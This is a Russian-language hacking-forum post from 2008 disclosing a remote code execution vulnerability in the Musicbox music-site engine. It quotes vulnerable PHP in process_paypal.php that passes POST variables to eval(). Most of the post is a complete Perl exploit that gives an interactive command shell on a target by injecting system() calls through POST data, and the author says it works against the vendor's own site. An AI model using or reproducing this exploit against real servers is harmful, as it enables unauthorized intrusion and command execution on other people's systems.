Musicbox RCE

Discussion in 'Веб-уязвимости' started by Macro, 17 Jan 2008.

  1. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Исполнение произвольного кода в движке Musicbox (двиг музыкального сайта)
    Возможно, все версии


    Сайт производителя
    http://www.musicboxv2.com/
    (приведенный ниже эксплоит для исполнения команд на нем работает)

    Уязвимый код:
    /cart/process_paypal.php
    PHP:


    $paypal_ipn 
    = new paypal_ipn($paypal_info);

    foreach (
    $paypal_ipn->paypal_post_vars as $key=>$value) {
        if (
    getType($key)=="string") {
            eval(
    "\$$key=\$value;");
            }
    }

    Класс paypal_ipn и его встроенная функция возвращают массив POST без всяких изменений, поэтому налицо исполнение кода.

    Эксплоит:

    Code:
    #!/usr/bin/perl
    
    #powered by Black Toad Team brains
    #coded by Macro
    
    use HTTP::Cookies;
    use MIME::Base64;
    use LWP;
    my $cmd='';
    
    sub urlencode {
      my $str = shift;
      $str =~ s/\s/%20/;
      return $str;
    }
    
    until($cmd eq 'exit'){
    print '#';
    $cmd=<STDIN>;
    chomp($cmd);
    $host=$ARGV[0];
    $path=$ARGV[0];
    $host=~s/(http:\/\/[^\/]+)/$1/;
    $path=~s/http:\/\/[^\/]+(.*)/$1/;
    my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
    $data="c=".urlencode($cmd)."&a;system(\$c);\$c=1";
    my $req = HTTP::Request->new(POST => $ARGV[0].'/cart/process_paypal.php');
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($data);
    $res = $ua->request($req);
    $content=$res->content;
    print $content."\n";
    }
    
    

    Кстати, бага найдена мной :)
     
    #1 Macro, 17 Jan 2008
    Last edited: 18 Jan 2008
    6 people like this.